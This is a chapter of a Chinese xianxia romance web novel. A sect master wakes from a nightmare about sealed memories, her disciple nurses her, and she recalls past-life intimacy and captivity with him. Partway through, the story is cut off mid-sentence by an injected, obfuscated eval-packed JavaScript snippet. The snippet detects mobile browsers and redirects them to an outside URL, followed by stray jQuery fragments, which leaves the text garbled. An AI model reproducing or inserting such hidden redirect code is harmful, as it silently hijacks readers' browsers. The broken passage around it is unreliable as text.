默认冷灰
24号文字
方正启体

9. 梦醒时分

作者:刹那月色本书字数:K更新时间:
    面对柳长风的话,云帆只是低下头,再没了她平时骄矜的样子,沉沉道:“我不知道。”


    她只是封了灵脉而已,若是设法将她的灵脉再度打开,说不定她又要进去了。


    她绝不会让这件事被人知道。


    柳长风正欲开口,云帆打断道:“大师兄应当知晓,我并不是勤勉之人,如果我没记错的话,你和师尊金丹期进入无相石再出来之时,都快要突破至元婴期了,而我只堪堪到金丹中期而已,所以你要问我有什么好处,我只能说,我不知道。”


    柳长风看向云帆的眼神变得很冷,口中的话却还是温柔的:“但我看季沧海这孩子很上进,说不定他愿意呢?”


    脑海中总有一片漆黑,云帆知道那是她封锁记忆的后遗症,平时倒也没什么影响,但今日提起这件事,她只觉得一阵阵头痛难忍,仿佛有蝗虫在生啃她的脑袋。


    云帆甩了甩脑袋,强撑着意识道:“你只提好处,却不提里面情况是如何险峻。这件事我绝对不会同意的,如果季沧海到了金丹期要进无相石,那是师门规矩,我无可辩驳。但现在他刚筑基,什么也不会,你让他进去不就等于让他送死吗?”


    “我相信他的实力。”


    “但我不信任无相石。”


    说完这句话,云帆便拂袖离开了七星殿,她需要休息。


    云帆昏昏沉沉地回到瞰云峰,顾不上别的,径直回了房,把自己蒙进被子里,很快就睡了过去。


    云帆不知道自己是不是在做梦,但世界上怎么会有这么奇怪的梦呢?她处在一片混沌之中,什么也看不见,但她却能感觉到周身有无数生物围绕在她身边——之所以说是生物,那是因为云帆根本辨别不出来那是什么。


    似乎有什么东西钳制住她的身体,云帆想挣扎却毫无作用,只能被迫感受着那些东西在触碰她,或许是羽毛,或许是纸,或许是动物皮毛,或许是节肢动物,或许是剑,或许是水,或许是火,云帆猜测着,不由自主地感到害怕。


    一切恐惧源于未知,云帆根本不知道是什么东西,除了害怕之外她什么也做不了。


    然而云帆没能挣扎太久,很快,梦里的她也昏睡过去了。


    日薄西山,季沧海刚从百草园回到瞰云峰。


    御成被他师尊喊去干活,他非得拉上玉霏霏,季沧海不放心,也跟着去了。


    事情结束之后玉霏霏跟着御成去玩了,他独自回到瞰云峰,才发现这里安静得吓人。


    平日里这个时间,师尊不是在做饭就是在练剑——所以师尊人在哪?


    季沧海寻了一圈没找到人,本以为师尊不在瞰云峰,却在回房的时候听到她房里传来一些声音。


    看来师尊只是在休息,季沧海想。


    但他总觉得这声音不太对劲。


    季沧海路过云帆的屋外,走到自己房门口,想了想,还是不放心,折回去查看云帆的情况。


    房内没有任何光源,落日余晖勉强让人能看清屋内的景象。


    云帆侧卧于床上,大半个身子几乎都要跌出去,一床锦被堪堪盖在她的腰腹上。


    季沧海走过去,准备帮云帆重新盖好被子,虽说瞰云峰终年如春,但这样还是会着凉。


    然而当季沧海走到云帆床边时,他才发现不对劲。


    云帆脸色煞白,满头是汗,一只手紧紧地握着拳,指甲几乎要嵌进皮肉里去。


    季沧海吓了一大跳,他从来没见过师尊这幅模样,师尊脸上一贯挂着笑,仿佛没有什么事情会让她忧愁,而现在……


    他一时不知道该怎么办才好,只得先试着把云帆叫醒。


    无济于事。


    云帆的五官依然拧成一团,光看表情便知晓她有多痛苦。


    季沧海的额角也渗出细密的汗珠,这个情况……师尊该不会中了什么邪术吧?


    他慌忙站起来,准备去找门内其他几位前辈帮忙。


    季沧海没走出去几步,却听到云帆的呓语:“季沧海……”


    他快步折返,下意识地握住云帆的手,安抚道:“师尊,我在这。”


    “别再……魔修……药……不……”云帆的话音断断续续,季沧海不明白她的意思。


    云帆或许是感觉到什么,攥着季沧海的手越来越用力,季沧海只觉得手背传来一阵痛感,他低头一看,才发现上面被云帆抓出一串血珠来。


    他顾不得疼,只是继续轻唤云帆,希望她能醒过来。


    季沧海不知道过了多久,应该是不太久的,玉霏霏还没有回来,云帆脸上的表情终于舒缓了些,看上去有苏醒的迹象。


    但季沧海仍然不敢松懈,他依然紧紧握着云帆的手,希望能让她安心些,虽然他也不知道这有没有用。


    又过了一阵子,云帆终于悠悠转醒,她头痛欲裂,半晌才意识到自己床前的人是季沧海。


    云帆放开季沧海的手,他立刻将自己的手拢进衣袖中,不想让云帆看到手背上的痕迹。


    云帆却注意到这个细节,拉起季沧海的手,问道:“你的手怎么了?”


    季沧海抽回自己的手,故作轻松道:“没事。”


    云帆难得有些生气,她还有些精神恍惚,而季沧海还在这里跟她耍心眼?


    “你现在已经学会撒谎了吗?”


    季沧海再度重复,“真的没事。”季沧海并不是想刻意卖惨,而是真的觉得没事,再加上这是云帆不小心抓破的,他不想让她难受。


    “你再不说实话我就要生气了。”云帆板起脸。


    季沧海只好道:“是师尊方才抓的。”


    整段垮掉。


    云帆酝酿了那么久的情绪顷刻消散,讷讷道:“……对不起。”


    季沧海道:“师尊言重了。”


    云帆不觉得这是小事,毕竟都流血了,她召来一瓶伤药,亲自为季沧海包扎好伤口,“这是二师姐配的药,效果很好。”


    季沧海很想说一句这伤口也不严重,但看云帆那么认真的样子,他有些说不出口,而且这是师尊关心他的证明。


    做完这些,云帆才想起来一个关键的问题——季沧海为什么会在这?


    她问:“你在这儿做什么?我又为什么会抓破你的手?”


    季沧海简单地把方才的事情说给云帆听,只是说到她喊他名字的时候,季沧海顿了顿,随后若无其事地跳过了这一段。


    谁知道云帆的表情变得很严肃,“沧海,这件事你不能告诉任何人。”


    季沧海为这突如其来的紧张氛围愣了片刻,才问道:“为什么?”


    “没有为什么,你只需要知道谁也不能说就够了。”


    师尊有秘密——这是季沧海的第一个念头,但他还是会乖乖听话的,毕竟这现在是属于他和师尊之间的秘密。


    “那我能知道师尊为什么会这样吗?”季沧海问。


    云帆摇头:“等时机到了,我自然会告诉你。”


    如果季沧海还是个小孩子,大概会相信这句话,但他已经长大了,季沧海听出


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17480918|201731||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    了云帆话音里的抗拒,这不过是缓兵之计而已,云帆永远也不会告诉他。


    但他又没法窥探云帆的想法。季沧海心情有些低落,却没有表现出来,而是装作一副听话的样子,道:“徒儿明白。”


    听到“徒儿”两个字,云帆知道季沧海一定没有死心,但这些事情她没有一件能告诉季沧海。


    一是她陷入这种状态的原因,二是……她梦到了许多轮回时候的事情。


    现在不是时候,以后也不会是,她希望季沧海永远都不要明白她经历了什么。


    云帆的心情一下子变得很低落,她咳了几声,才道:“你先出去吧,我一个人静一静。”


    季沧海一步三回头地走了。


    云帆倚在床边,睡梦中的那些事又忍不住浮现在她的脑海里,云帆重重地敲了几下自己的头,希望能缓解一部分痛感,然而收效甚微。


    她长长地叹了口气,却听到屋外传来敲门声。


    “谁?”云帆问。


    “师尊,是我。”是季沧海的声音。


    这次云帆没有让季沧海进来,而是道:“没什么重要的事就先回去吧,我要休息了。”


    季沧海很执拗:“我做了安神汤,师尊喝过再睡吧。”


    云帆皱眉,她现在不想看见季沧海。


    于是她决定先装聋,季沧海过一会儿估计也就走了。


    云帆凝神细听了一阵子,却发现季沧海始终站在门口,她不由得有些心软,但她觉得自己不能这样惯着季沧海,还是狠下心肠没有说话。


    又过了一会儿,云帆总算听到外面传来脚步声,看来季沧海是走了。


    然而不过片刻,季沧海又回来了,他的声音隔着门板也格外清晰,带着少年特有的清越,道:“徒儿知道师尊没睡,这安神汤是上官雪前辈给的方子,徒儿方才又熬了一碗,师尊试一试吧。”


    云帆无奈,她知道今天如果不让季沧海进来的话,他是不会走了。


    “进来吧。”


    季沧海这才推门而入。


    他手里端着一块木盘,上面放着给云帆熬好的安神汤,神色平静,丝毫看不出他方才被云帆晾了那么久。


    季沧海将他手里的木盘放在云帆床边的小桌上,道:“师尊不必起身,我来便好。”


    说着,他毫不客气地坐在云帆床上,端起安神汤,轻轻吹了一口,送往云帆的嘴边。


    云帆突然就被这画面燥的脸热,这也不怪她,实在是轮回了太多次,她看到类似的场景当然不免想起。


    曾经的季沧海也会这样对她,但大多数时候是在他们欢好一夜过后,她实在起不来,才肯让季沧海这样照顾她。


    哦,还有另一种——


    她被季沧海关起来的时候也这样,她手上脚上都带着捆仙索,动倒是能动,却很累,她一般都直接屈服接着使唤季沧海的。


    毕竟她云帆向来不是那种宁死不屈的人。


    但眼下显然不符合这个条件。她刚从噩梦中惊醒,而季沧海不知道为什么守在她的床边,甚至还固执地要让她喝安神汤?难道她在梦里说了什么胡话吗?


    可季沧海不说是什么,云帆猜也猜不到,只想快点结束这一切。


    她回避着季沧海的视线,不敢让季沧海在她房里待太久,喝汤的速度一口比一口快,尽管这安神汤很苦,但云帆还是很快就把这碗安神汤喝完了。


    季沧海目光灼灼,一直未曾从她的身上离开,临了道了句:“师尊,你的脸好红。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)